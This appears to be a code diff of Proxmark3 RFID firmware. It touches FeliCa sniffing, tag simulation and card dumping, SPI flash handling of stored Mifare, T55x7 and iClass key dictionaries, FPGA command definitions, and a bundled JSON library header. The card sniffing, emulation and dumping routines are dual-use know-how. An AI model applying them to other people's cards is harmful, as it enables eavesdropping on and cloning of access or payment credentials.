FelicaFrameReset();
}
}
}
switch_off();
//reset framing
AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | AT91C_SSC_MSBF | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0);
set_tracelen(numbts);
set_tracelen(BigBuf_max_traceLen());
Dbprintf("Felica sniffing done, tracelen: %i, use hf list felica for annotations", BigBuf_get_traceLen());
reply_old(CMD_ACK, 1, numbts, 0, 0, 0);
LED_D_OFF();
}
#define R_POLL0_LEN 0x16
@ -700,7 +719,7 @@ void felica_sim_lite(uint64_t uid) {
TransmitFor18092_AsReader(curresp, curlen, NULL, 0, 0);
//switch back
FpgaWriteConfWord(FPGA_MAJOR_MODE_ISO18092 | FPGA_HF_ISO18092_FLAG_NOMOD);
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO18092 | FPGA_HF_ISO18092_FLAG_NOMOD);
FelicaFrameReset();
listenmode = true;
@ -717,8 +736,9 @@ void felica_sim_lite(uint64_t uid) {
DbpString("Felica Lite-S sim end");
}
void felica_dump_lite_s() {
#define RES_SVC_LEN 11 + 3
void felica_dump_lite_s() {
uint8_t ndef[8];
uint8_t poll[10] = { 0xb2, 0x4d, 0x06, FELICA_POLL_REQ, 0xff, 0xff, 0x00, 0x00, 0x09, 0x21};
uint16_t liteblks[28] = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x90, 0x91, 0x92, 0xa0};
@ -732,28 +752,26 @@ void felica_dump_lite_s() {
uint8_t *dest = BigBuf_get_addr();
while (!BUTTON_PRESS() && !data_available()) {
WDT_HIT();
// polling?
//TransmitFor18092_AsReader(poll, 10, GetCountSspClk()+512, 1, 0);
TransmitFor18092_AsReader(poll, 10, NULL, 1, 0);
if (WaitForFelicaReply(512) && FelicaFrame.framebytes[3] == FELICA_POLL_ACK) {
// copy 8bytes to ndef.
memcpy(ndef, FelicaFrame.framebytes + 4, 8);
// for (c=0; c < 8; c++)
// ndef[c] = FelicaFrame.framebytes[c+4];
for (blknum = 0; blknum < sizeof(liteblks);) {
for (blknum = 0; blknum < ARRAYLEN(liteblks);) {
// block to read.
BuildFliteRdblk(ndef, 1, &liteblks[blknum]);
//TransmitFor18092_AsReader(frameSpace, frameSpace[2]+4, GetCountSspClk()+512, 1, 0);
TransmitFor18092_AsReader(frameSpace, frameSpace[2] + 4, NULL, 1, 0);
TransmitFor18092_AsReader(frameSpace, frameSpace[2] + 4, NULL, 1, 0);
// read block
if (WaitForFelicaReply(1024) && FelicaFrame.framebytes[3] == FELICA_RDBLK_ACK) {
@ -782,11 +800,11 @@ void felica_dump_lite_s() {
}
}
}
isOK = true;
break;
}
}
switch_off();
//Resetting Frame mode (First set in fpgaloader.c)

View file

@ -1,21 +1,22 @@
//-----------------------------------------------------------------------------
// Samy Kamkar, 2011, 2012
// Brad antoniewicz 2011
// Christian Herrmann, 2017
// Jonathan Westhues, Aug 2005
// Gerhard de Koning Gans, April 2008, May 2011
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// StandAlone Mod
// Definitions internal to the app source.
//-----------------------------------------------------------------------------
#ifndef __FELICA_H
#define __FELICA_H
#ifndef __LF_PROXBRUTE_H
#define __LF_PROXBRUTE_H
#include "common.h"
#include "cmd.h"
#include "standalone.h" // standalone definitions
#include "apps.h" // debugstatements, lfops?
void felica_sendraw(PacketCommandNG *c);
void felica_sniff(uint32_t samplesToSkip, uint32_t triggersToSkip);
void felica_sim_lite(uint64_t uid);
void felica_dump_lite_s();
#define OPTS 2
#endif /* __LF_PROXBRUTE_H */
#endif

View file

@ -1,4 +1,10 @@
#include "flashmem.h"
#include "pmflash.h"
#include "proxmark3_arm.h"
#include "ticks.h"
#include "dbprint.h"
#include "string.h"
/* here: use NCPS2 @ PA10: */
#define SPI_CSR_NUM 2
@ -15,7 +21,7 @@ uint32_t FLASHMEM_SPIBAUDRATE = FLASH_BAUD;
void FlashmemSetSpiBaudrate(uint32_t baudrate) {
FLASHMEM_SPIBAUDRATE = baudrate;
Dbprintf("Spi Baudrate : %dMhz", FLASHMEM_SPIBAUDRATE / 1000000);
Dbprintf("Spi Baudrate : %dMHz", FLASHMEM_SPIBAUDRATE / 1000000);
}
// initialize
@ -553,6 +559,7 @@ void Flashmem_print_status(void) {
}
void Flashmem_print_info(void) {
if (!FlashInit()) return;
DbpString(_BLUE_("Flash memory dictionary loaded"));
@ -561,25 +568,28 @@ void Flashmem_print_info(void) {
uint8_t keysum[2];
uint16_t num;
Flash_CheckBusy(BUSY_TIMEOUT);
uint16_t isok = Flash_ReadDataCont(DEFAULT_MF_KEYS_OFFSET, keysum, 2);
if (isok == 2) {
num = ((keysum[1] << 8) | keysum[0]);
if (num != 0xFFFF && num != 0x0)
Dbprintf(" Mifare................"_YELLOW_("%d")"keys", num);
Dbprintf(" Mifare.................."_YELLOW_("%d")"keys", num);
}
Flash_CheckBusy(BUSY_TIMEOUT);
isok = Flash_ReadDataCont(DEFAULT_T55XX_KEYS_OFFSET, keysum, 2);
if (isok == 2) {
num = ((keysum[1] << 8) | keysum[0]);
if (num != 0xFFFF && num != 0x0)
Dbprintf(" T55x7................."_YELLOW_("%d")"keys", num);
Dbprintf(" T55x7..................."_YELLOW_("%d")"keys", num);
}
Flash_CheckBusy(BUSY_TIMEOUT);
isok = Flash_ReadDataCont(DEFAULT_ICLASS_KEYS_OFFSET, keysum, 2);
if (isok == 2) {
num = ((keysum[1] << 8) | keysum[0]);
if (num != 0xFFFF && num != 0x0)
Dbprintf(" iClass................"_YELLOW_("%d")"keys", num);
Dbprintf(" iClass.................."_YELLOW_("%d")"keys", num);
}
FlashStop();

View file

@ -28,9 +28,7 @@
#ifndef __FLASHMEM_H
#define __FLASHMEM_H
#include "proxmark3.h"
#include "apps.h"
#include "ticks.h"
#include "common.h"
// Used Command
#define ID 0x90
@ -62,7 +60,7 @@
#define RESUME 0x7A
// Flash busy timeout: 20ms is the strict minimum when writing 256kb
#define BUSY_TIMEOUT 50000L
#define BUSY_TIMEOUT 200000L
#define WINBOND_MANID 0xEF
#define WINBOND_DEVID 0x11
@ -102,7 +100,6 @@
#define MAX_BLOCKS 4
#define MAX_SECTORS 16
#define MCK 48000000
//#define FLASH_BAUD 24000000
#define FLASH_MINFAST 24000000 //33000000
#define FLASH_BAUD MCK/2
@ -112,7 +109,6 @@
#define FASTFLASH (FLASHMEM_SPIBAUDRATE > FLASH_MINFAST)
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//
void Dbprintf(const char *fmt, ...);
void FlashmemSetSpiBaudrate(uint32_t baudrate);
bool FlashInit();
@ -142,5 +138,6 @@ uint16_t Flash_WriteData(uint32_t address, uint8_t *in, uint16_t len);
uint16_t Flash_WriteDataCont(uint32_t address, uint8_t *in, uint16_t len);
void Flashmem_print_status(void);
void Flashmem_print_info(void);
uint16_t FlashSendLastByte(uint32_t data);
#endif

View file

@ -6,6 +6,8 @@
// Fonts for the LCD
//-----------------------------------------------------------------------------
#include "fonts_disabled.h"
const char FONT6x8[97][8] = {
{0x06, 0x08, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00}, // columns, rows, bytes per char
{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, // space

View file

@ -11,6 +11,15 @@
//-----------------------------------------------------------------------------
#include "fpgaloader.h"
#include "proxmark3_arm.h"
#include "appmain.h"
#include "BigBuf.h"
#include "ticks.h"
#include "dbprint.h"
#include "util.h"
#include "zlib.h"
#include "fpga.h"
#include "string.h"
// remember which version of the bitstream we have already downloaded to the FPGA
static int downloaded_bitstream = 0;
@ -81,7 +90,7 @@ void SetupSpi(int mode) {
AT91C_BASE_SPI->SPI_CSR[0] =
(1 << 24) | // Delay between Consecutive Transfers (32 MCK periods)
(1 << 16) | // Delay Before SPCK (1 MCK period)
(6 << 8) | // Serial Clock Baud Rate (baudrate = MCK/6 = 24Mhz/6 = 4M baud
(6 << 8) | // Serial Clock Baud Rate (baudrate = MCK/6 = 24MHz/6 = 4M baud
AT91C_SPI_BITS_16 | // Bits per Transfer (16 bits)
(0 << 3) | // Chip Select inactive after transfer
AT91C_SPI_NCPHA | // Clock Phase data captured on leading edge, changes on following edge
@ -101,7 +110,7 @@ void SetupSpi(int mode) {
AT91C_BASE_SPI->SPI_CSR[2] =
( 1 << 24) | // Delay between Consecutive Transfers (32 MCK periods)
( 1 << 16) | // Delay Before SPCK (1 MCK period)
( 6 << 8) | // Serial Clock Baud Rate (baudrate = MCK/6 = 24Mhz/6 = 4M baud
( 6 << 8) | // Serial Clock Baud Rate (baudrate = MCK/6 = 24MHz/6 = 4M baud
AT91C_SPI_BITS_9 | // Bits per Transfer (9 bits)
( 0 << 3) | // Chip Select inactive after transfer
( 1 << 1) | // Clock Phase data captured on leading edge, changes on following edge
@ -115,8 +124,8 @@ void SetupSpi(int mode) {
}
//-----------------------------------------------------------------------------
// Set up the synchronous serial port, with the one set of options that we
// always use when we are talking to the FPGA. Both RX and TX are enabled.
// Set up the synchronous serial port with the set of options that fits
// the FPGA mode. Both RX and TX are always enabled.
//-----------------------------------------------------------------------------
void FpgaSetupSsc(void) {
// First configure the GPIOs, and get ourselves a clock.
@ -132,16 +141,16 @@ void FpgaSetupSsc(void) {
// Now set up the SSC proper, starting from a known state.
AT91C_BASE_SSC->SSC_CR = AT91C_SSC_SWRST;
// RX clock comes from TX clock, RX starts when TX starts, data changes
// on RX clock rising edge, sampled on falling edge
// RX clock comes from TX clock, RX starts on Transmit Start,
// data and frame signal is sampled on falling edge of RK
AT91C_BASE_SSC->SSC_RCMR = SSC_CLOCK_MODE_SELECT(1) | SSC_CLOCK_MODE_START(1);
// 8 bits per transfer, no loopback, MSB first, 1 transfer per sync
// pulse, no output sync
AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | AT91C_SSC_MSBF | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0);
// clock comes from TK pin, no clock output, outputs change on falling
// edge of TK, sample on rising edge of TK, start on positive-going edge of sync
// TX clock comes from TK pin, no clock output, outputs change on falling
// edge of TK, frame sync is sampled on rising edge of TK, start TX on rising edge of TF
AT91C_BASE_SSC->SSC_TCMR = SSC_CLOCK_MODE_SELECT(2) | SSC_CLOCK_MODE_START(5);
// tx framing is the same as the rx framing
@ -153,8 +162,7 @@ void FpgaSetupSsc(void) {
//-----------------------------------------------------------------------------
// Set up DMA to receive samples from the FPGA. We will use the PDC, with
// a single buffer as a circular buffer (so that we just chain back to
// ourselves, not to another buffer). The stuff to manipulate those buffers
// is in apps.h, because it should be inlined, for speed.
// ourselves, not to another buffer).
//-----------------------------------------------------------------------------
bool FpgaSetupSscDma(uint8_t *buf, int len) {
if (buf == NULL) return false;
@ -392,9 +400,13 @@ static int bitparse_find_section(int bitstream_version, char section_name, uint3
void FpgaDownloadAndGo(int bitstream_version) {
// check whether or not the bitstream is already loaded
if (downloaded_bitstream == bitstream_version)
if (downloaded_bitstream == bitstream_version) {
FpgaEnableTracing();
return;
}
// Send waiting time extension request as this will take a while
send_wtx(1500);
z_stream compressed_fpga_stream;
uint8_t output_buffer[OUTPUT_BUFFER_LEN] = {0x00};
@ -427,6 +439,8 @@ void FpgaDownloadAndGo(int bitstream_version) {
// Send a 16 bit command/data pair to the FPGA.
// The bit format is: C3 C2 C1 C0 D11 D10 D9 D8 D7 D6 D5 D4 D3 D2 D1 D0
// where C is the 4 bit command and D is the 12 bit data
//
// @params cmd and v gets or over eachother. Take careful note of overlapping bits.
//-----------------------------------------------------------------------------
void FpgaSendCommand(uint16_t cmd, uint16_t v) {
SetupSpi(SPI_FPGA_MODE);
@ -439,10 +453,21 @@ void FpgaSendCommand(uint16_t cmd, uint16_t v) {
// vs. clone vs. etc.). This is now a special case of FpgaSendCommand() to
// avoid changing this function's occurence everywhere in the source code.
//-----------------------------------------------------------------------------
void FpgaWriteConfWord(uint8_t v) {
void FpgaWriteConfWord(uint16_t v) {
FpgaSendCommand(FPGA_CMD_SET_CONFREG, v);
}
//-----------------------------------------------------------------------------
// enable/disable FPGA internal tracing
//-----------------------------------------------------------------------------
void FpgaEnableTracing(void) {
FpgaSendCommand(FPGA_CMD_TRACE_ENABLE, 1);
}
void FpgaDisableTracing(void) {
FpgaSendCommand(FPGA_CMD_TRACE_ENABLE, 0);
}
//-----------------------------------------------------------------------------
// Set up the CMOS switches that mux the ADC: four switches, independently
// closable, but should only close one at a time. Not an FPGA thing, but

View file

@ -12,70 +12,80 @@
#ifndef __FPGALOADER_H
#define __FPGALOADER_H
#include <stdint.h>
#include <stdbool.h>
#include "apps.h"
#include "fpga.h"
#include "common.h" // standard definitions
#include "proxmark3.h" // common area
#include "string.h"
#include "BigBuf.h" // bigbuf mem
#include "zlib.h" // uncompress
#include "common.h"
void FpgaSendCommand(uint16_t cmd, uint16_t v);
void FpgaWriteConfWord(uint8_t v);
void FpgaDownloadAndGo(int bitstream_version);
// void FpgaGatherVersion(int bitstream_version, char *dst, int len);
void FpgaSetupSsc(void);
void SetupSpi(int mode);
bool FpgaSetupSscDma(uint8_t *buf, int len);
void Fpga_print_status(void);
int FpgaGetCurrent(void);
#define FpgaDisableSscDma(void) AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTDIS;
#define FpgaEnableSscDma(void) AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTEN;
void SetAdcMuxFor(uint32_t whichGpio);
// extern and generel turn off the antenna method
void switch_off(void);
// definitions for multiple FPGA config files support
#define FPGA_BITSTREAM_LF 1
#define FPGA_BITSTREAM_HF 2
//#define FPGA_BITSTREAM_FELICA 3
/*
Communication between ARM / FPGA is done inside armsrc/fpgaloader.c (function FpgaSendCommand)
Send 16 bit command / data pair to FPGA
The bit format is: C3 C2 C1 C0 D11 D10 D9 D8 D7 D6 D5 D4 D3 D2 D1 D0
where
C is 4bit command
D is 12bit data
-----+--------- frame layout --------------------
bit | 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0
-----+-------------------------------------------
cmd | x x x x
major| x x x
opt | x x
divi | x x x x x x x x
thres| x x x x x x x x
-----+-------------------------------------------
*/
// Definitions for the FPGA commands.
#define FPGA_CMD_SET_CONFREG (1<<12)
#define FPGA_CMD_SET_DIVISOR (2<<12)
#define FPGA_CMD_SET_USER_BYTE1 (3<<12)
// BOTH HF / LF
#define FPGA_CMD_SET_CONFREG (1<<12) // C
// LF
#define FPGA_CMD_SET_DIVISOR (2<<12) // C
#define FPGA_CMD_SET_USER_BYTE1 (3<<12) // C
// HF
#define FPGA_CMD_TRACE_ENABLE (2<<12) // C
// Definitions for the FPGA configuration word.
// LF
#define FPGA_MAJOR_MODE_LF_ADC (0<<5)
#define FPGA_MAJOR_MODE_LF_READER (0<<5)
#define FPGA_MAJOR_MODE_LF_EDGE_DETECT (1<<5)
#define FPGA_MAJOR_MODE_LF_PASSTHRU (2<<5)
// HF
#define FPGA_MAJOR_MODE_HF_READER_TX (0<<5)
#define FPGA_MAJOR_MODE_HF_READER_RX_XCORR (1<<5)
#define FPGA_MAJOR_MODE_HF_SIMULATOR (2<<5)
#define FPGA_MAJOR_MODE_HF_ISO14443A (3<<5)
#define FPGA_MAJOR_MODE_HF_SNOOP (4<<5)
#define FPGA_MAJOR_MODE_HF_FELICA (5<<5)
// BOTH
#define FPGA_MAJOR_MODE_OFF_LF (6<<5)
#define FPGA_MAJOR_MODE_OFF (7<<5)
#define FPGA_MAJOR_MODE_LF_ADC (3<<5)
// HF
#define FPGA_MAJOR_MODE_HF_READER_TX (0<<5) // D
#define FPGA_MAJOR_MODE_HF_READER_RX_XCORR (1<<5) // D
#define FPGA_MAJOR_MODE_HF_SIMULATOR (2<<5) // D
#define FPGA_MAJOR_MODE_HF_ISO14443A (3<<5) // D
#define FPGA_MAJOR_MODE_HF_SNOOP (4<<5) // D
#define FPGA_MAJOR_MODE_HF_ISO18092 (5<<5) // D
#define FPGA_MAJOR_MODE_HF_GET_TRACE (6<<5) // D
// BOTH HF / LF
#define FPGA_MAJOR_MODE_OFF (7<<5) // D
// Options for LF_READER
#define FPGA_LF_ADC_READER_FIELD 0x1
// Options for LF_ADC
#define FPGA_LF_ADC_READER_FIELD (1<<0)
// Options for LF_EDGE_DETECT
#define FPGA_CMD_SET_EDGE_DETECT_THRESHOLD FPGA_CMD_SET_USER_BYTE1
#define FPGA_LF_EDGE_DETECT_READER_FIELD (1<<0)
#define FPGA_LF_EDGE_DETECT_TOGGLE_MODE (1<<1)
#define FPGA_LF_EDGE_DETECT_READER_FIELD 0x1
#define FPGA_LF_EDGE_DETECT_TOGGLE_MODE 0x2
// Options for the HF reader, tx to tag
#define FPGA_HF_READER_TX_SHALLOW_MOD (1<<0)
#define FPGA_HF_READER_TX_SHALLOW_MOD 0x1
// Options for the HF reader, correlating against rx from tag
#define FPGA_HF_READER_RX_XCORR_848_KHZ (1<<0)
#define FPGA_HF_READER_RX_XCORR_SNOOP (1<<1)
#define FPGA_HF_READER_RX_XCORR_QUARTER (1<<2)
#define FPGA_HF_READER_RX_XCORR_848_KHZ 0x1
#define FPGA_HF_READER_RX_XCORR_SNOOP 0x2
#define FPGA_HF_READER_RX_XCORR_QUARTER 0x4
// Options for the HF simulated tag, how to modulate
#define FPGA_HF_SIMULATOR_NO_MODULATION 0x0 // 0000
#define FPGA_HF_SIMULATOR_MODULATE_BPSK 0x1 // 0001
@ -85,16 +95,31 @@ void switch_off(void);
// no 848K
// Options for ISO14443A
#define FPGA_HF_ISO14443A_SNIFFER (0<<0)
#define FPGA_HF_ISO14443A_TAGSIM_LISTEN (1<<0)
#define FPGA_HF_ISO14443A_TAGSIM_MOD (2<<0)
#define FPGA_HF_ISO14443A_READER_LISTEN (3<<0)
#define FPGA_HF_ISO14443A_READER_MOD (4<<0)
#define FPGA_HF_ISO14443A_SNIFFER 0x0
#define FPGA_HF_ISO14443A_TAGSIM_LISTEN 0x1
#define FPGA_HF_ISO14443A_TAGSIM_MOD 0x2
#define FPGA_HF_ISO14443A_READER_LISTEN 0x3
#define FPGA_HF_ISO14443A_READER_MOD 0x4
//options for Felica.
#define FPGA_MAJOR_MODE_ISO18092 (5<<5) // 01010 0000
#define FPGA_HF_ISO18092_FLAG_NOMOD (1<<0) // 0001 disable modulation module
#define FPGA_HF_ISO18092_FLAG_424K (2<<0) // 0010 should enable 414k mode (untested). No autodetect
#define FPGA_HF_ISO18092_FLAG_READER (4<<0) // 0100 enables antenna power, to act as a reader instead of tag
#define FPGA_HF_ISO18092_FLAG_NOMOD 0x1 // 0001 disable modulation module
#define FPGA_HF_ISO18092_FLAG_424K 0x2 // 0010 should enable 414k mode (untested). No autodetect
#define FPGA_HF_ISO18092_FLAG_READER 0x4 // 0100 enables antenna power, to act as a reader instead of tag
void FpgaSendCommand(uint16_t cmd, uint16_t v);
void FpgaWriteConfWord(uint16_t v);
void FpgaEnableTracing(void);
void FpgaDisableTracing(void);
void FpgaDownloadAndGo(int bitstream_version);
// void FpgaGatherVersion(int bitstream_version, char *dst, int len);
void FpgaSetupSsc(void);
void SetupSpi(int mode);
bool FpgaSetupSscDma(uint8_t *buf, int len);
void Fpga_print_status(void);
int FpgaGetCurrent(void);
void SetAdcMuxFor(uint32_t whichGpio);
// extern and generel turn off the antenna method
void switch_off(void);
#endif

1470
armsrc/frozen.c Normal file

File diff suppressed because it is too large Load diff

312
armsrc/frozen.h Normal file
View file

@ -0,0 +1,312 @@
/*
* Copyright (c) 2004-2013 Sergey Lyubka <valenok@gmail.com>
* Copyright (c) 2018 Cesanta Software Limited
* All rights reserved
*
* Licensed under the Apache License, Version 2.0 (the ""License"");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an ""AS IS"" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef CS_FROZEN_FROZEN_H_
#define CS_FROZEN_FROZEN_H_
#include <stdarg.h>
#include <stdio.h>
/* JSON token type */
enum json_token_type {
JSON_TYPE_INVALID = 0, /* memsetting to 0 should create INVALID value */
JSON_TYPE_STRING,
JSON_TYPE_NUMBER,
JSON_TYPE_TRUE,
JSON_TYPE_FALSE,
JSON_TYPE_NULL,
JSON_TYPE_OBJECT_START,
JSON_TYPE_OBJECT_END,
JSON_TYPE_ARRAY_START,
JSON_TYPE_ARRAY_END,
JSON_TYPES_CNT
};
/*
* Structure containing token type and value. Used in `json_walk()` and
* `json_scanf()` with the format specifier `%T`.
*/
struct json_token {
const char *ptr; /* Points to the beginning of the value */
int len; /* Value length */
enum json_token_type type; /* Type of the token, possible values are above */
};
#define JSON_INVALID_TOKEN \
{ 0, 0, JSON_TYPE_INVALID }
/* Error codes */
#define JSON_STRING_INVALID -1
#define JSON_STRING_INCOMPLETE -2
/*
* Callback-based SAX-like API.
*
* Property name and length is given only if it's available: i.e. if current
* event is an object's property. In other cases, `name` is `NULL`. For
* example, name is never given:
* - For the first value in the JSON string;
* - For events JSON_TYPE_OBJECT_END and JSON_TYPE_ARRAY_END
*
* E.g. for the input `{ "foo": 123, "bar": [ 1, 2, { "baz": true } ] }`,
* the sequence of callback invocations will be as follows:
*
* - type: JSON_TYPE_OBJECT_START, name: NULL, path: "", value: NULL
* - type: JSON_TYPE_NUMBER, name: "foo", path: ".foo", value: "123"
* - type: JSON_TYPE_ARRAY_START, name: "bar", path: ".bar", value: NULL
* - type: JSON_TYPE_NUMBER, name: "0", path: ".bar[0]", value: "1"
* - type: JSON_TYPE_NUMBER, name: "1", path: ".bar[1]", value: "2"
* - type: JSON_TYPE_OBJECT_START, name: "2", path: ".bar[2]", value: NULL
* - type: JSON_TYPE_TRUE, name: "baz", path: ".bar[2].baz", value: "true"
* - type: JSON_TYPE_OBJECT_END, name: NULL, path: ".bar[2]", value: "{ \"baz\":
*true }"
* - type: JSON_TYPE_ARRAY_END, name: NULL, path: ".bar", value: "[ 1, 2, {
*\"baz\": true } ]"
* - type: JSON_TYPE_OBJECT_END, name: NULL, path: "", value: "{ \"foo\": 123,
*\"bar\": [ 1, 2, { \"baz\": true } ] }"
*/
typedef void (*json_walk_callback_t)(void *callback_data, const char *name,
size_t name_len, const char *path,
const struct json_token *token);
/*
* Parse `json_string`, invoking `callback` in a way similar to SAX parsers;
* see `json_walk_callback_t`.
* Return number of processed bytes, or a negative error code.
*/
int json_walk(const char *json_string, int json_string_length,
json_walk_callback_t callback, void *callback_data);
/*
* JSON generation API.
* struct json_out abstracts output, allowing alternative printing plugins.
*/
struct json_out {
int (*printer)(struct json_out *, const char *str, size_t len);
union {
struct {
char *buf;
size_t size;
size_t len;
} buf;
void *data;
FILE *fp;
} u;
};
extern int json_printer_buf(struct json_out *, const char *, size_t);
extern int json_printer_file(struct json_out *, const char *, size_t);
#define JSON_OUT_BUF(buf, len) \
{ \
json_printer_buf, { \
{ buf, len, 0 } \
} \
}
#define JSON_OUT_FILE(fp) \
{ \
json_printer_file, { \
{ (char *) fp, 0, 0 } \
} \
}
typedef int (*json_printf_callback_t)(struct json_out *, va_list *ap);
/*
* Generate formatted output into a given sting buffer.
* This is a superset of printf() function, with extra format specifiers:
* - `%B` print json boolean, `true` or `false`. Accepts an `int`.
* - `%Q` print quoted escaped string or `null`. Accepts a `const char *`.
* - `%.*Q` same as `%Q`, but with length. Accepts `int`, `const char *`
* - `%V` print quoted base64-encoded string. Accepts a `const char *`, `int`.
* - `%H` print quoted hex-encoded string. Accepts a `int`, `const char *`.
* - `%M` invokes a json_printf_callback_t function. That callback function
* can consume more parameters.
*
* Return number of bytes printed. If the return value is bigger than the
* supplied buffer, that is an indicator of overflow. In the overflow case,
* overflown bytes are not printed.
*/
int json_printf(struct json_out *, const char *fmt, ...);
int json_vprintf(struct json_out *, const char *fmt, va_list xap);
/*
* Same as json_printf, but prints to a file.
* File is created if does not exist. File is truncated if already exists.
*/
int json_fprintf(const char *file_name, const char *fmt, ...);
int json_vfprintf(const char *file_name, const char *fmt, va_list ap);
/*
* Print JSON into an allocated 0-terminated string.
* Return allocated string, or NULL on error.
* Example:
*
* ```c
* char *str = json_asprintf("{a:%H}", 3, "abc");
* printf("%s\n", str); // Prints "616263"
* free(str);
* ```
*/
char *json_asprintf(const char *fmt, ...);
char *json_vasprintf(const char *fmt, va_list ap);
/*
* Helper %M callback that prints contiguous C arrays.
* Consumes void *array_ptr, size_t array_size, size_t elem_size, char *fmt
* Return number of bytes printed.
*/
int json_printf_array(struct json_out *, va_list *ap);
/*
* Scan JSON string `str`, performing scanf-like conversions according to `fmt`.
* This is a `scanf()` - like function, with following differences:
*
* 1. Object keys in the format string may be not quoted, e.g. "{key: %d}"
* 2. Order of keys in an object is irrelevant.
* 3. Several extra format specifiers are supported:
* - %B: consumes `int *` (or `char *`, if `sizeof(bool) == sizeof(char)`),
* expects boolean `true` or `false`.
* - %Q: consumes `char **`, expects quoted, JSON-encoded string. Scanned
* string is malloc-ed, caller must free() the string.
* - %V: consumes `char **`, `int *`. Expects base64-encoded string.
* Result string is base64-decoded, malloced and NUL-terminated.
* The length of result string is stored in `int *` placeholder.
* Caller must free() the result.
* - %H: consumes `int *`, `char **`.
* Expects a hex-encoded string, e.g. "fa014f".
* Result string is hex-decoded, malloced and NUL-terminated.
* The length of the result string is stored in `int *` placeholder.
* Caller must free() the result.
* - %M: consumes custom scanning function pointer and
* `void *user_data` parameter - see json_scanner_t definition.
* - %T: consumes `struct json_token *`, fills it out with matched token.
*
* Return number of elements successfully scanned & converted.
* Negative number means scan error.
*/
int json_scanf(const char *str, int len, const char *fmt, ...);
int json_vscanf(const char *str, int len, const char *fmt, va_list ap);
/* json_scanf's %M handler */
typedef void (*json_scanner_t)(const char *str, int len, void *user_data);
/*
* Helper function to scan array item with given path and index.
* Fills `token` with the matched JSON token.
* Return -1 if no array element found, otherwise non-negative token length.
*/
int json_scanf_array_elem(const char *s, int len, const char *path, int idx, struct json_token *token);
/*
* Unescape JSON-encoded string src,slen into dst, dlen.
* src and dst may overlap.
* If destination buffer is too small (or zero-length), result string is not
* written but the length is counted nevertheless (similar to snprintf).
* Return the length of unescaped string in bytes.
*/
int json_unescape(const char *src, int slen, char *dst, int dlen);
/*
* Escape a string `str`, `str_len` into the printer `out`.
* Return the number of bytes printed.
*/
int json_escape(struct json_out *out, const char *str, size_t str_len);
/*
* Read the whole file in memory.
* Return malloc-ed file content, or NULL on error. The caller must free().
*/
char *json_fread(const char *path);
/*
* Update given JSON string `s,len` by changing the value at given `json_path`.
* The result is saved to `out`. If `json_fmt` == NULL, that deletes the key.
* If path is not present, missing keys are added. Array path without an
* index pushes a value to the end of an array.
* Return 1 if the string was changed, 0 otherwise.
*
* Example: s is a JSON string { "a": 1, "b": [ 2 ] }
* json_setf(s, len, out, ".a", "7"); // { "a": 7, "b": [ 2 ] }
* json_setf(s, len, out, ".b", "7"); // { "a": 1, "b": 7 }
* json_setf(s, len, out, ".b[]", "7"); // { "a": 1, "b": [ 2,7 ] }
* json_setf(s, len, out, ".b", NULL); // { "a": 1 }
*/
int json_setf(const char *s, int len, struct json_out *out,
const char *json_path, const char *json_fmt, ...);
int json_vsetf(const char *s, int len, struct json_out *out,
const char *json_path, const char *json_fmt, va_list ap);
/*
* Pretty-print JSON string `s,len` into `out`.
* Return number of processed bytes in `s`.
*/
int json_prettify(const char *s, int len, struct json_out *out);
/*
* Prettify JSON file `file_name`.
* Return number of processed bytes, or negative number of error.
* On error, file content is not modified.
*/
int json_prettify_file(const char *file_name);
/*
* Iterate over an object at given JSON `path`.
* On each iteration, fill the `key` and `val` tokens. It is OK to pass NULL
* for `key`, or `val`, in which case they won't be populated.
* Return an opaque value suitable for the next iteration, or NULL when done.
*
* Example:
*
* ```c
* void *h = NULL;
* struct json_token key, val;
* while ((h = json_next_key(s, len, h, ".foo", &key, &val)) != NULL) {
* printf("[%.*s] -> [%.*s]\n", key.len, key.ptr, val.len, val.ptr);
* }
* ```
*/
void *json_next_key(const char *s, int len, void *handle, const char *path,
struct json_token *key, struct json_token *val);
/*
* Iterate over an array at given JSON `path`.
* Similar to `json_next_key`, but fills array index `idx` instead of `key`.
*/
void *json_next_elem(const char *s, int len, void *handle, const char *path,
int *idx, struct json_token *val);
#ifndef JSON_MAX_PATH_LEN
#define JSON_MAX_PATH_LEN 256
#endif
#ifndef JSON_MINIMAL
#define JSON_MINIMAL 1
#endif
#ifndef JSON_ENABLE_BASE64
#define JSON_ENABLE_BASE64 !JSON_MINIMAL
#endif
#ifndef JSON_ENABLE_HEX
#define JSON_ENABLE_HEX !JSON_MINIMAL
#endif
#endif /* CS_FROZEN_FROZEN_H_ */

View file

@ -1,10 +1,22 @@
#include "proxmark3.h"
#include "apps.h"
//-----------------------------------------------------------------------------
// piwi, 2019
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// Routines to get sample data from FPGA.
//-----------------------------------------------------------------------------
#include "hfsnoop.h"
#include "proxmark3_arm.h"
#include "BigBuf.h"
#include "fpgaloader.h"
#include "ticks.h"
#include "dbprint.h"
#include "util.h"
#include "usb_cdc.h" // for usb_poll_validate_length
